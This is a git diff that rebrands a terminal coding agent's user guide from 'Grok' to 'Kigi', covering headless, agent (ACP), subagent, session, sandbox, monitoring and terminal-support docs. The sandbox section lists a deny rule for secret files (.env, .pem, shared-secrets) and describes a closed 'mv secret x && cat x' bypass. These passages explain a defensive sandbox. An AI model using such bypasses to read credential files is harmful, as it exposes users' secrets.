+Kigi stores data in `~/.kigi` (override with `KIGI_SHARE_DIR`; see [Environment Variables for Headless](#environment-variables-for-headless)):
 
 | Path                     | Contents                              |
 | ------------------------ | ------------------------------------- |
@@ -542,7 +542,7 @@ For containers or CI, mount `~/.kigi` read-only:
 ```bash
 export XAI_API_KEY="xai-..."
 export KIGI_DISABLE_AUTOUPDATER=1
-grok -p "..." --no-auto-update
+kigi -p "..." --no-auto-update
 ```
 
 ---
@@ -588,6 +588,6 @@ On SIGINT/SIGTERM:
 - Session state saved up to the last completed tool call
 - File modifications by tools are **not rolled back**
 - Exit code is **130** for SIGINT (`128 + 2`) and **143** for SIGTERM (`128 + 15`); CI pipelines can distinguish these from a normal error (exit code `1`)
-- Resume: `grok -p "continue" --resume "<id>"` or `grok -p "continue" --continue`
+- Resume: `kigi -p "continue" --resume "<id>"` or `kigi -p "continue" --continue`
 
 See [Session Management in Headless Mode](#session-management-in-headless-mode) for details on named sessions and the `-s`/`-r`/`-c` flags.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/15-agent-mode.md b/crates/codegen/kigi-tui/docs/user-guide/15-agent-mode.md
index 0d4b8f8..7c6fd03 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/15-agent-mode.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/15-agent-mode.md
@@ -1,6 +1,6 @@
 # Agent Mode (ACP) and IDE Integration
 
-Agent mode runs Grok as an ACP (Agent Client Protocol) server for integration with IDEs, editors, and custom tooling. Unlike single-prompt mode (`grok -p`, which prints one response and exits), agent mode keeps a persistent process running and communicates through structured JSON-RPC messages.
+Agent mode runs Kigi as an ACP (Agent Client Protocol) server for integration with IDEs, editors, and custom tooling. Unlike single-prompt mode (`kigi -p`, which prints one response and exits), agent mode keeps a persistent process running and communicates through structured JSON-RPC messages.
 
 ---
 
@@ -21,7 +21,7 @@ The [Agent Client Protocol (ACP)](https://agentclientprotocol.com) is a standard
 stdio is the primary integration mode. The agent exchanges JSON-RPC messages over stdin and stdout:
 
 ```bash
-grok agent stdio
+kigi agent stdio
 ```
 
 Clients that use this mode include:
@@ -32,11 +32,11 @@ Clients that use this mode include:
 
 ### Options
 
-These options belong to the `grok agent` command and apply to every mode. Pass them before the mode name, for example `grok agent --model grok-build stdio`. The `stdio` subcommand itself takes no options.
+These options belong to the `kigi agent` command and apply to every mode. Pass them before the mode name, for example `kigi agent --model kigi stdio`. The `stdio` subcommand itself takes no options.
 
 | Flag                       | Description                                                       |
 | -------------------------- | ---------------------------------------------------------------- |
-| `-m, --model <MODEL>`      | Set the model ID (for example, `grok-build`).                    |
+| `-m, --model <MODEL>`      | Set the model ID (for example, `kigi`).                    |
 | `--always-approve`         | Auto-approve every tool execution. (Alias: `--yolo`.)            |
 | `--reauth`                 | Run authentication before starting the agent.                    |
 | `--agent-profile <PATH>`   | Load an agent profile from a file.                               |
@@ -48,7 +48,7 @@ These options belong to the `grok agent` command and apply to every mode. Pass t
 Run the agent as a WebSocket server for remote clients:
 
 ```bash
-grok agent serve --bind 127.0.0.1:2419 --secret <token>
+kigi agent serve --bind 127.0.0.1:2419 --secret <token>
 ```
 
 Clients connect over WebSocket and authenticate with the secret token. If you omit `--secret`, the agent generates a token and prints it at startup; you can also supply one through the `KIGI_AGENT_SECRET` environment variable. The agent persists across reconnections, so a client can disconnect and later resume in-flight work.
@@ -60,7 +60,7 @@ Clients connect over WebSocket and authenticate with the secret token. If you om
 To reach the agent over the internet instead of the local network, run a WebSocket relay server and have the agent connect to it:
 
 ```bash
-grok agent headless --grok-ws-url wss://your-relay.example.com/ws
+kigi agent headless --kigi-ws-url wss://your-relay.example.com/ws
 ```
 
 The agent connects out to your relay, and your web clients connect to the same relay. This is useful for building web UIs where browsers cannot spawn local processes.
@@ -86,7 +86,7 @@ Communication follows the JSON-RPC 2.0 format. A typical session lifecycle:
 +-------------------+----------------------+
                     | JSON-RPC over stdio
 +-------------------v----------------------+
-|           grok agent stdio               |
+|           kigi agent stdio               |
 |                                          |
 |  +---------+  +---------+  +---------+   |
 |  | Session |  |  Tools  |  |   MCP   |   |
@@ -115,7 +115,7 @@ Each update names its type, so a client can render distinct panels for reasoning
 
 ## Extension methods
 
-Beyond the base ACP protocol, Grok defines extension methods under the `x.ai/` prefix for SpaceXAI-specific functionality. These cover:
+Beyond the base ACP protocol, Kigi defines extension methods under the `x.ai/` prefix for SpaceXAI-specific functionality. These cover:
 
 | Category                   | Prefix               | Examples                                         |
 | -------------------------- | -------------------- | ------------------------------------------------ |
@@ -191,7 +191,7 @@ Official SDK libraries are available for multiple languages:
 import { spawn, ChildProcess } from "child_process";
 import * as readline from "readline";
 
-class GrokACPChat {
+class KigiACPChat {
   private proc!: ChildProcess;
   private sessionId!: string;
   private rl!: readline.Interface;
@@ -199,7 +199,7 @@ class GrokACPChat {
   constructor(private cwd = ".") {}
 
   async init() {
-    this.proc = spawn("grok", ["agent", "stdio"]);
+    this.proc = spawn("kigi", ["agent", "stdio"]);
     this.rl = readline.createInterface({ input: this.proc.stdout! });
 
     // Initialize
@@ -257,7 +257,7 @@ class GrokACPChat {
 }
 
 // Usage
-const client = await new GrokACPChat(".").init();
+const client = await new KigiACPChat(".").init();
 
 for await (const update of client.streamPrompt("List the files in this project")) {
   switch (update.sessionUpdate) {
diff --git a/crates/codegen/kigi-tui/docs/user-guide/16-subagents.md b/crates/codegen/kigi-tui/docs/user-guide/16-subagents.md
index 0724a8c..f5bfa8d 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/16-subagents.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/16-subagents.md
@@ -17,7 +17,7 @@ Agents and personas both customize behavior, but they operate at different level
 | **How you set them** | At startup, or with agent definitions (`.md` files in `.kigi/agents/` or `~/.kigi/agents/`) | In `config.toml` (`[subagents.personas]`) or `.toml` files under `.kigi/personas/`; applied during subagent resolution |
 | **What they control** | Model, tool availability, prompt body, skills | Tone, output format, task focus, and input/output contracts |
 | **Who edits them** | You -- create, delete, or toggle them in the agents modal or by editing files | You -- define custom personas in config or files; bundled personas are read-only |
-| **Examples** | `grok-build`, `explore`, `plan` | `researcher`, `concise` |
+| **Examples** | `kigi`, `explore`, `plan` | `researcher`, `concise` |
 
 An agent defines the session itself. A persona shapes how a subagent behaves within a session. A subagent always runs as an agent type (for example, `general-purpose`), and resolution can layer a persona on top.
 
@@ -79,7 +79,7 @@ instructions = "You are a thorough researcher. Always cite specific file paths."
 description = "Deep investigator."
 ```
 
-Grok Build discovers file-based personas from these locations, in priority order:
+Kigi discovers file-based personas from these locations, in priority order:
 
 - `.kigi/personas/*.toml` (project)
 - `~/.kigi/personas/*.toml` (user)
@@ -89,7 +89,7 @@ Each file defines one persona, and the file name (without the extension) becomes
 
 Manage personas in the Personas tab of the agents modal (`/personas`). Bundled personas are read-only; personas you define are editable.
 
-> **Note:** Grok Build applies personas through subagent resolution and roles, not through a `spawn_subagent` parameter. The main agent does not pass a persona name when it spawns a child.
+> **Note:** Kigi applies personas through subagent resolution and roles, not through a `spawn_subagent` parameter. The main agent does not pass a persona name when it spawns a child.
 
 ### Persona Fields
 
@@ -125,7 +125,7 @@ Each field has a `name`, an `io_type` (defaults to `file`), a `required` flag, a
 
 ### Persona Resolution
 
-When a persona applies, Grok Build resolves the effective model and reasoning effort in this order, highest priority first:
+When a persona applies, Kigi resolves the effective model and reasoning effort in this order, highest priority first:
 
 1. Explicit spawn-time override
 2. Role default
@@ -193,7 +193,7 @@ For tasks that modify files, run a subagent in an isolated git worktree with `is
 - Its changes stay isolated from the parent until you merge them.
 - The subagent's result includes the worktree path.
 
-Grok Build manages worktrees through the `x.ai/git/worktree/*` extension methods, including an apply operation that merges changes back into the main working directory.
+Kigi manages worktrees through the `x.ai/git/worktree/*` extension methods, including an apply operation that merges changes back into the main working directory.
 
 ---
 
@@ -209,7 +209,7 @@ explore = true                       # default -- omit to keep enabled
 plan = false                         # disable the plan subagent
 
 [subagents.models]
-explore = "grok-build"               # route explore to a specific model
+explore = "kigi"               # route explore to a specific model
 ```
 
 Per-type model overrides apply for any parent. Without an override, a subagent inherits the parent's model.
@@ -222,7 +222,7 @@ Define custom roles with their own capability and model defaults:
 [subagents.roles.researcher]
 description = "Deep research agent"
 default_capability_mode = "read-only"
-model = "grok-build"
+model = "kigi"
 prompt_file = ".kigi/prompts/researcher.md"
 ```
 
@@ -234,13 +234,13 @@ instructions = "Be concise. No filler words."
 # instructions_file = ".kigi/personas/concise.md"  # or load from a file
 ```
 
-Grok Build also discovers roles from `.kigi/roles/*.toml` and personas from `.kigi/personas/*.toml`. Inline `config.toml` definitions take precedence over files.
+Kigi also discovers roles from `.kigi/roles/*.toml` and personas from `.kigi/personas/*.toml`. Inline `config.toml` definitions take precedence over files.
 
 ---
 
 ## The Tasks Pane (TUI)
 
-Grok Build shows running and finished work in side panes on the agent screen:
+Kigi shows running and finished work in side panes on the agent screen:
 
 - Press `Ctrl+B` to toggle the tasks pane, which lists active and completed subagents and background commands with their status.
 - Press `Ctrl+T` to toggle the separate todo pane.
@@ -259,7 +259,7 @@ Subagents appear in several places in the interactive TUI:
 
 When a subagent is spawned, a compact lifecycle block is added to the *parent's* scrollback:
 
-- `Subagent running: "do the thing" (Implementer · grok-3) — Thinking`
+- `Subagent running: "do the thing" (Implementer · kigi-3) — Thinking`
 - Or for background subagents: `Subagent started: "..."`
 
 While running, the block shows a live activity suffix (e.g. "Running: cargo test", "Compacting", "Retrying (2/3)") pulled from the child's turn tracker. The bullet animates (or is colored) according to state.
diff --git a/crates/codegen/kigi-tui/docs/user-guide/17-sessions.md b/crates/codegen/kigi-tui/docs/user-guide/17-sessions.md
index 6349c3a..c468a97 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/17-sessions.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/17-sessions.md
@@ -1,6 +1,6 @@
 # Session Management
 
-Grok saves every conversation to disk automatically. Whether you work in the TUI, in headless mode, or over agent stdio, Grok records the exchange as a session. You can resume, rewind, or compact it. This document describes how to manage sessions.
+Kigi saves every conversation to disk automatically. Whether you work in the TUI, in headless mode, or over agent stdio, Kigi records the exchange as a session. You can resume, rewind, or compact it. This document describes how to manage sessions.
 
 ---
 
@@ -15,13 +15,13 @@ A session is a persistent conversation with full history. It includes:
 - Token usage and turn counts
 - Subagent sessions (when enabled)
 
-Sessions are identified by a unique session ID (a UUIDv7 when Grok generates it; a client may supply its own ID with `-s`) and stored on disk under `~/.kigi/sessions/`. Set `KIGI_SHARE_DIR` to override the base directory; when it is unset, Grok uses `~/.kigi`.
+Sessions are identified by a unique session ID (a UUIDv7 when Kigi generates it; a client may supply its own ID with `-s`) and stored on disk under `~/.kigi/sessions/`. Set `KIGI_SHARE_DIR` to override the base directory; when it is unset, Kigi uses `~/.kigi`.
 
 ---
 
 ## Storage Layout
 
-Grok stores each session in its own directory, grouped by working directory. It URL-encodes the working directory to name the group. When the encoded name exceeds 255 bytes, it instead uses a slug plus a hash and records the original path in a `.cwd` file inside the group.
+Kigi stores each session in its own directory, grouped by working directory. It URL-encodes the working directory to name the group. When the encoded name exceeds 255 bytes, it instead uses a slug plus a hash and records the original path in a `.cwd` file inside the group.
 
 ```
 ~/.kigi/sessions/<encoded-cwd>/<session-id>/
@@ -54,13 +54,13 @@ This clears the current context and begins a new conversation. Alias: `/clear`.
 
 ### Exit
 
-End the session and quit Grok:
+End the session and quit Kigi:
 
 ```
 /quit
 ```
 
-Alias: `/exit`. To leave the current session but stay in Grok, use `/home` to return to the welcome screen.
+Alias: `/exit`. To leave the current session but stay in Kigi, use `/home` to return to the welcome screen.
 
 ---
 
@@ -85,14 +85,14 @@ To switch between, rename, or close the sessions that are currently active (the
 Resume a specific session by ID:
 
 ```bash
-grok --resume <session-id>
+kigi --resume <session-id>
 ```
 
-Run `grok --resume` without an ID to resume the most recent session for the current directory.
+Run `kigi --resume` without an ID to resume the most recent session for the current directory.
 
 ### From the Welcome Screen
 
-When you launch `grok`, the welcome screen lists recent sessions for the current directory. Select one to resume it.
+When you launch `kigi`, the welcome screen lists recent sessions for the current directory. Select one to resume it.
 
 ---
 
@@ -128,7 +128,7 @@ Alias: `/title`.
 /rewind
 ```
 
-When you run `/rewind` (or press **Esc Esc** within 800ms while idle with an empty prompt and conversation messages), Grok:
+When you run `/rewind` (or press **Esc Esc** within 800ms while idle with an empty prompt and conversation messages), Kigi:
 
 1. Shows a list of rewind points (one per user prompt)
 2. Lets you select which point to rewind to
@@ -154,7 +154,7 @@ The optional `context` argument lets you provide additional instructions about w
 
 ### Auto-Compact
 
-Grok automatically compacts the conversation when the context window approaches its limit. You will see a notification when auto-compact triggers. The `context_window` setting on your model configuration controls when this threshold is reached.
+Kigi automatically compacts the conversation when the context window approaches its limit. You will see a notification when auto-compact triggers. The `context_window` setting on your model configuration controls when this threshold is reached.
 
 ---
 
@@ -184,13 +184,13 @@ In headless mode, you manage sessions through command-line flags:
 
 ```bash
 # New session each time (default)
-grok -p "Hello"
+kigi -p "Hello"
 
 # Resume an existing session by ID (errors if it does not exist)
-grok -p "Continue where we left off" -r <session-id>
+kigi -p "Continue where we left off" -r <session-id>
 
 # Continue the most recent session in the current directory
-grok -p "What were we doing?" -c
+kigi -p "What were we doing?" -c
 ```
 
 In headless mode, resume an existing session with `-r`/`--resume`, which errors if the session does not exist, or continue the most recent session in the current directory with `-c`/`--continue`. Pass the session ID from JSON output (see below) to `-r`.
@@ -200,7 +200,7 @@ Use `-s`/`--session-id` only to **create** a new session with a **UUID** (errors
 To read the session ID back, request JSON output:
 
 ```bash
-grok -p "Hello" --output-format json | jq -r '.sessionId'
+kigi -p "Hello" --output-format json | jq -r '.sessionId'
 ```
 
 ---
@@ -228,28 +228,28 @@ The agent persists all session updates automatically. Clients can reconnect and
 
 ---
 
-## The grok sessions Subcommand
+## The kigi sessions Subcommand
 
-List or search sessions from the command line. `grok sessions` requires a subcommand:
+List or search sessions from the command line. `kigi sessions` requires a subcommand:
 
 ```bash
 # List recent sessions for the current directory
-grok sessions list
+kigi sessions list
 
 # Limit the number of results (default 20)
-grok sessions list --limit 50
+kigi sessions list --limit 50
 
 # Search sessions by keyword (matches titles and prompts)
-grok sessions search "rate limit"
+kigi sessions search "rate limit"
 ```
 
-`grok sessions list` shows sessions for the current working directory, grouped by worktree label. Each row lists the session ID, the creation and update dates, the source status, and the summary. `grok sessions search` combines a local SQLite index with remote results.
+`kigi sessions list` shows sessions for the current working directory, grouped by worktree label. Each row lists the session ID, the creation and update dates, the source status, and the summary. `kigi sessions search` combines a local SQLite index with remote results.
 
 ---
 
 ## Worktree Sessions
 
-When working with subagents or session forks, Grok can create isolated git worktrees per session. Each worktree gets its own copy of the working directory, so file changes in one session do not affect another.
+When working with subagents or session forks, Kigi can create isolated git worktrees per session. Each worktree gets its own copy of the working directory, so file changes in one session do not affect another.
 
 Worktree sessions are managed internally through the `x.ai/git/worktree/*` extension methods. Key operations:
 
@@ -257,7 +257,7 @@ Worktree sessions are managed internally through the `x.ai/git/worktree/*` exten
 - **Apply**: Merge worktree changes back into the main working directory
 - **Remove**: Clean up a worktree when the session is done
 
-Resume a session in a fresh worktree with `grok -w -r <session-id>`.
+Resume a session in a fresh worktree with `kigi -w -r <session-id>`.
 
 ---
 
@@ -265,13 +265,13 @@ Resume a session in a fresh worktree with `grok -w -r <session-id>`.
 
 ### Persistence Format
 
-Grok stores the conversation as newline-delimited JSON (JSONL). Each line in `updates.jsonl` is a self-contained ACP session update event. This format supports:
+Kigi stores the conversation as newline-delimited JSON (JSONL). Each line in `updates.jsonl` is a self-contained ACP session update event. This format supports:
 
 - Incremental writes (append-only during a session)
 - Efficient streaming reads (for session restore)
 - Easy debugging (each line is valid JSON)
 
-The smaller state files -- `summary.json`, `plan.json`, and `signals.json` -- are plain JSON rather than JSONL. JSONL is the source of truth for session content; `grok sessions search` additionally maintains a local SQLite FTS5 index over session titles and prompts for fast keyword search.
+The smaller state files -- `summary.json`, `plan.json`, and `signals.json` -- are plain JSON rather than JSONL. JSONL is the source of truth for session content; `kigi sessions search` additionally maintains a local SQLite FTS5 index over session titles and prompts for fast keyword search.
 
 ### Session Metadata
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/18-sandbox.md b/crates/codegen/kigi-tui/docs/user-guide/18-sandbox.md
index cd138c9..8eb3baf 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/18-sandbox.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/18-sandbox.md
@@ -10,13 +10,13 @@ Sandbox mode is off by default.
 
 ```bash
 # Run with workspace sandbox (read everywhere, write to CWD + temp dirs + ~/.kigi/)
-grok --sandbox workspace
+kigi --sandbox workspace
 
 # Read-only mode (read everywhere, write only to ~/.kigi/ + temp dirs)
-grok --sandbox read-only
+kigi --sandbox read-only
 
 # Most restrictive profile (read CWD + system paths, write CWD + temp dirs + ~/.kigi/, no child network)
-grok --sandbox strict
+kigi --sandbox strict
 ```
 
 ---
@@ -70,12 +70,12 @@ deny = ["/data/shared-secrets", "**/.env", "**/*.pem"]
 Use the custom profile:
 
 ```bash
-grok --sandbox project
+kigi --sandbox project
 ```
 
 A custom profile can't reuse a built-in name. `--sandbox devbox` always runs the built-in `devbox` profile, shadowing any `[profiles.devbox]` you define.
 
-When the global and per-project files define the same custom profile name, the user-level definition takes precedence and the project definition is ignored. If those two definitions differ, Grok warns about the conflict at startup — on the welcome screen in the TUI, and on stderr for headless runs. Identical duplicate definitions do not produce a warning.
+When the global and per-project files define the same custom profile name, the user-level definition takes precedence and the project definition is ignored. If those two definitions differ, Kigi warns about the conflict at startup — on the welcome screen in the TUI, and on stderr for headless runs. Identical duplicate definitions do not produce a warning.
 
 ### Custom Profile Fields
 
@@ -92,7 +92,7 @@ When the global and per-project files define the same custom profile name, the u
 > bind-over on Linux, so a denied path can neither be read (via `bash`, `grep`, or
 > subagents) nor relocated out of the deny set and read elsewhere (the
 > `mv secret x && cat x` bypass is closed). On **Linux**, read-deny requires
-> `bubblewrap`: if it is missing (or any single deny path can't be bound), Grok
+> `bubblewrap`: if it is missing (or any single deny path can't be bound), Kigi
 > refuses to start rather than run with denied paths exposed (`devbox`, which only
 > write-denies `/data`, still falls back to Landlock). Writes to paths **not** in
 > `deny` are controlled by what you grant in `read_write`.
@@ -112,7 +112,7 @@ When the global and per-project files define the same custom profile name, the u
 > Brace alternation (`{a,b}`), backslash-escapes, and the unusual class forms
 > `[]…]` (literal `]` first) and POSIX `[[:…:]]` are **not** supported, so the two
 > platforms can never interpret a glob differently. A glob using an unsupported
-> metacharacter, or one that is malformed, makes Grok **refuse to start** (fail
+> metacharacter, or one that is malformed, makes Kigi **refuse to start** (fail
 > closed) on **both** platforms — write `*.pem` and `*.key` as separate entries
 > rather than `*.{pem,key}`.
 >
@@ -121,19 +121,19 @@ When the global and per-project files define the same custom profile name, the u
 > matching. Enforcement otherwise differs by platform:
 >
 > - **macOS is airtight:** each glob becomes a Seatbelt regex applied at runtime,
->   so matching files are denied **even if created after Grok starts**.
+>   so matching files are denied **even if created after Kigi starts**.
 > - **Linux is best-effort:** a mount namespace can't glob at runtime, so each
 >   glob is expanded to the files that **exist at launch** and those are bound
 >   over. Files created **later** that match a glob are **not** covered — name
 >   exact paths for anything that must be airtight on Linux. A glob that matches
->   too many files, or whose tree is too deep/broad to walk, makes Grok **refuse
+>   too many files, or whose tree is too deep/broad to walk, makes Kigi **refuse
 >   to start** rather than under-enforce.
 
 ---
 
 ## How It Works
 
-The sandbox is applied to the **entire grok process** at startup using kernel primitives -- not per-command wrapping. This means all tool operations are covered:
+The sandbox is applied to the **entire kigi process** at startup using kernel primitives -- not per-command wrapping. This means all tool operations are covered:
 
 - `read_file`, `search_replace`, `list_dir` -- restricted by Landlock/Seatbelt in-process
 - `bash` commands, `grep` (rg) -- child processes inherit FS restrictions automatically
@@ -146,8 +146,8 @@ The sandbox is **irreversible** once applied. The agent cannot relax restriction
 ## Resuming Sessions
 
 The profile a session was started with is saved with the session and is **fixed
-for the life of the session**. When you resume it (`grok --resume <id>`,
-`grok --continue`, or `grok -r`), Grok restores that same profile automatically —
+for the life of the session**. When you resume it (`kigi --resume <id>`,
+`kigi --continue`, or `kigi -r`), Kigi restores that same profile automatically —
 so a session started with `--sandbox workspace` won't silently come back under a
 stricter default and break commands that previously worked.
 
@@ -176,7 +176,7 @@ Profile resolution order for a **new** session:
 | Linux    | Landlock  | Kernel 5.13 or later   |
 | macOS    | Seatbelt  | macOS (all versions)   |
 
-If the sandbox cannot be applied (e.g., unsupported kernel, missing entitlements), Grok logs a warning and continues without enforcement. The exception is an explicitly-requested **custom profile**: on **both macOS and Linux**, if it cannot be applied (unknown profile, malformed `sandbox.toml`, or — on Linux — `bubblewrap` unavailable for a non-empty `deny`), Grok refuses to start rather than run with its denied paths exposed.
+If the sandbox cannot be applied (e.g., unsupported kernel, missing entitlements), Kigi logs a warning and continues without enforcement. The exception is an explicitly-requested **custom profile**: on **both macOS and Linux**, if it cannot be applied (unknown profile, malformed `sandbox.toml`, or — on Linux — `bubblewrap` unavailable for a non-empty `deny`), Kigi refuses to start rather than run with its denied paths exposed.
 
 ---
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/20-background-tasks.md b/crates/codegen/kigi-tui/docs/user-guide/20-background-tasks.md
index bb80476..b8bcff1 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/20-background-tasks.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/20-background-tasks.md
@@ -1,6 +1,6 @@
 # Background Tasks and Monitoring
 
-Grok runs long-lived processes without blocking the conversation. This document covers background commands, the `/loop` command, the `monitor` tool, and the scheduler.
+Kigi runs long-lived processes without blocking the conversation. This document covers background commands, the `/loop` command, the `monitor` tool, and the scheduler.
 
 ---
 
@@ -100,7 +100,7 @@ The `monitor` tool streams events from a long-running script. Each line of outpu
 ### How It Works
 
 1. You provide a shell command (`command`) and a short `description` that appears in every notification.
-2. Grok merges the command's stdout and stderr into a single output file.
+2. Kigi merges the command's stdout and stderr into a single output file.
 3. Each new line in that file becomes a notification delivered to the conversation.
 4. The monitor runs until the command exits or you stop it.
 
@@ -143,7 +143,7 @@ Stop persistent monitors with `kill_command_or_subagent(task_id)`.
 
 ### Volume Control
 
-If a monitor produces too many events, Grok stops it automatically. When this happens, restart the monitor with a tighter filter. Prefer `grep --line-buffered`, `awk`, or a wrapper script that emits only the events you care about.
+If a monitor produces too many events, Kigi stops it automatically. When this happens, restart the monitor with a tighter filter. Prefer `grep --line-buffered`, `awk`, or a wrapper script that emits only the events you care about.
 
 ---
 
diff --git a/crates/codegen/kigi-tui/docs/user-guide/21-terminal-support.md b/crates/codegen/kigi-tui/docs/user-guide/21-terminal-support.md
index 710fc64..a1cd0c4 100644
--- a/crates/codegen/kigi-tui/docs/user-guide/21-terminal-support.md
+++ b/crates/codegen/kigi-tui/docs/user-guide/21-terminal-support.md
@@ -1,6 +1,6 @@
 # Terminal Support and Troubleshooting
 
-Grok Build runs as a full-screen TUI. To draw the interface, it relies on terminal escape sequences for color, clipboard, mouse, and full-screen control. Some terminals, multiplexers, and SSH sessions handle these sequences differently.
+Kigi runs as a full-screen TUI. To draw the interface, it relies on terminal escape sequences for color, clipboard, mouse, and full-screen control. Some terminals, multiplexers, and SSH sessions handle these sequences differently.
 
 ## Quick Fixes
 
@@ -33,7 +33,7 @@ tmux source-file ~/.tmux.conf
 # or detach and reattach
 ```
 
-### Live diagnostics inside Grok
+### Live diagnostics inside Kigi
 
 Run this slash command:
 
@@ -41,13 +41,13 @@ Run this slash command:
 /terminal-setup
 ```
 
-The command reports the terminal, multiplexer, **color level**, **available themes**, and clipboard routes Grok detected, then lists any issues and how to fix them. When color is below truecolor, it explains how to unlock the truecolor-only themes (TokyoNight, RosePineMoon, OscuraMidnight) — or notes that Terminal.app is inherently 256-color. The aliases `/terminal-check` and `/terminal-info` run the same command.
+The command reports the terminal, multiplexer, **color level**, **available themes**, and clipboard routes Kigi detected, then lists any issues and how to fix them. When color is below truecolor, it explains how to unlock the truecolor-only themes (TokyoNight, RosePineMoon, OscuraMidnight) — or notes that Terminal.app is inherently 256-color. The aliases `/terminal-check` and `/terminal-info` run the same command.
 
 ---
 
 ## Detected Terminals
 
-Grok detects these terminal emulators from environment variables:
+Kigi detects these terminal emulators from environment variables:
 
 - **Apple Terminal** (Terminal.app)
 - **Ghostty**
@@ -60,13 +60,13 @@ Grok detects these terminal emulators from environment variables:
 - **foot** (Wayland-native, Linux)
 - **VS Code**, **Cursor**, **Windsurf**, and **Zed** integrated terminals
 - **JetBrains** IDE terminals (IntelliJ, PhpStorm, and others)
-- **Grok Desktop**
+- **Kigi Desktop**
 - **VTE**-based terminals (GNOME Terminal, GNOME Console, Tilix)
 - **Windows Terminal**
 
 Detection has these limitations:
 
-- Inside tmux, the variables Grok needs to identify the terminal don't reach the pager.
+- Inside tmux, the variables Kigi needs to identify the terminal don't reach the pager.
 - Over SSH, many terminal variables aren't forwarded.
 - tmux's global environment (`tmux -g`) reflects the first client that attached to the server, not your current session.
 
@@ -78,34 +78,34 @@ Detection has these limitations:
 
 **Cause**: `COLORTERM` not set or tmux not configured for 24-bit RGB.
 
-**Fix**: Apply the two settings above, then restart Grok.
+**Fix**: Apply the two settings above, then restart Kigi.
 
 **Verify**: Run `/terminal-setup`. Expect `color truecolor` and `themes all`. If `color` is `256` or `basic`, the issues section has the unlock fix.
 
 ### Problem: Clipboard problems
 
-Grok writes to the clipboard through up to three routes, which match the **Clipboard routes** section of `/terminal-setup`:
+Kigi writes to the clipboard through up to three routes, which match the **Clipboard routes** section of `/terminal-setup`:
 
-- **native** — Grok always writes to the native OS clipboard first.
-- **tmux buffer** — inside tmux, Grok also writes to the tmux paste buffer (`tmux load-buffer`).
-- **OSC 52** — Grok emits the OSC 52 escape sequence so the outer terminal updates its clipboard. Grok always emits OSC 52 inside tmux. Outside tmux, it emits OSC 52 on Linux, over SSH, or in a container without a display.
+- **native** — Kigi always writes to the native OS clipboard first.
+- **tmux buffer** — inside tmux, Kigi also writes to the tmux paste buffer (`tmux load-buffer`).
+- **OSC 52** — Kigi emits the OSC 52 escape sequence so the outer terminal updates its clipboard. Kigi always emits OSC 52 inside tmux. Outside tmux, it emits OSC 52 on Linux, over SSH, or in a container without a display.
 
-**Linux Wayland**: on compositors that support the data-control protocol (GNOME 48+, KDE, Sway, Hyprland — the `data-control` line in `/terminal-setup` shows `yes`) copies work even if the terminal loses focus mid-copy. On older compositors (GNOME 46/47), keep the terminal focused until the copy toast confirms, and install the `wl-clipboard` package (provides `wl-copy`) for the most reliable route — Grok shows a startup warning when this applies. If data-control misbehaves on your compositor, set `KIGI_CLIPBOARD_NO_DATA_CONTROL=1` to stop Grok from speaking that protocol entirely — copies then go through the CLI tools (`wl-copy`/`xclip`).
+**Linux Wayland**: on compositors that support the data-control protocol (GNOME 48+, KDE, Sway, Hyprland — the `data-control` line in `/terminal-setup` shows `yes`) copies work even if the terminal loses focus mid-copy. On older compositors (GNOME 46/47), keep the terminal focused until the copy toast confirms, and install the `wl-clipboard` package (provides `wl-copy`) for the most reliable route — Kigi shows a startup warning when this applies. If data-control misbehaves on your compositor, set `KIGI_CLIPBOARD_NO_DATA_CONTROL=1` to stop Kigi from speaking that protocol entirely — copies then go through the CLI tools (`wl-copy`/`xclip`).
 
-**Linux X11 selections**: X11 **PRIMARY** and **CLIPBOARD** are separate. Selecting text usually fills PRIMARY; an explicit Copy action fills CLIPBOARD. In Grok:
+**Linux X11 selections**: X11 **PRIMARY** and **CLIPBOARD** are separate. Selecting text usually fills PRIMARY; an explicit Copy action fills CLIPBOARD. In Kigi:
 
-- An unmodified middle click reads PRIMARY only when `DISPLAY` is non-empty. Pure X11 can fall back to the native arboard reader. XWayland must have `xclip` or `xsel` on `PATH`; Grok deliberately disables the arboard fallback there so it cannot substitute Wayland PRIMARY.
+- An unmodified middle click reads PRIMARY only when `DISPLAY` is non-empty. Pure X11 can fall back to the native arboard reader. XWayland must have `xclip` or `xsel` on `PATH`; Kigi deliberately disables the arboard fallback there so it cannot substitute Wayland PRIMARY.
 - `Ctrl+V` reads CLIPBOARD only and never falls back to PRIMARY. To fill CLIPBOARD from a shell, run `printf %s "text" | xclip -selection clipboard`.
 - `Shift+Insert` remains the terminal-native selected-text paste. Native Wayland PRIMARY behavior is compositor/terminal-specific and is not inferred from `TERM` or an incoming mouse event.
 
-**SSH and selected text**: a remote Grok process usually cannot read the local terminal's PRIMARY or CLIPBOARD selection. Use terminal-native `Shift+Insert`, or hold `Shift` while middle-clicking when your terminal uses that gesture to bypass mouse reporting. The terminal then sends the local selection through the PTY instead of asking the remote process to access it.
+**SSH and selected text**: a remote Kigi process usually cannot read the local terminal's PRIMARY or CLIPBOARD selection. Use terminal-native `Shift+Insert`, or hold `Shift` while middle-clicking when your terminal uses that gesture to bypass mouse reporting. The terminal then sends the local selection through the PTY instead of asking the remote process to access it.
 
 **Known limitation — Apple Terminal + SSH**:
-Apple Terminal ignores OSC 52, so copying from a Grok session over SSH can't reach your local clipboard. Use the workaround below.
+Apple Terminal ignores OSC 52, so copying from a Kigi session over SSH can't reach your local clipboard. Use the workaround below.
 
-**Temporary workaround**: Use `grok wrap ssh` instead of plain `ssh` (for example, `grok wrap ssh user@host`). It runs the command in a local PTY that intercepts OSC 52 sequences, including tmux-wrapped ones, and writes their contents to your local clipboard. The same command wraps anything else whose clipboard can't reach you — for example `grok wrap docker exec -it <container> bash` or `grok wrap kubectl exec -it <pod> -- bash`.
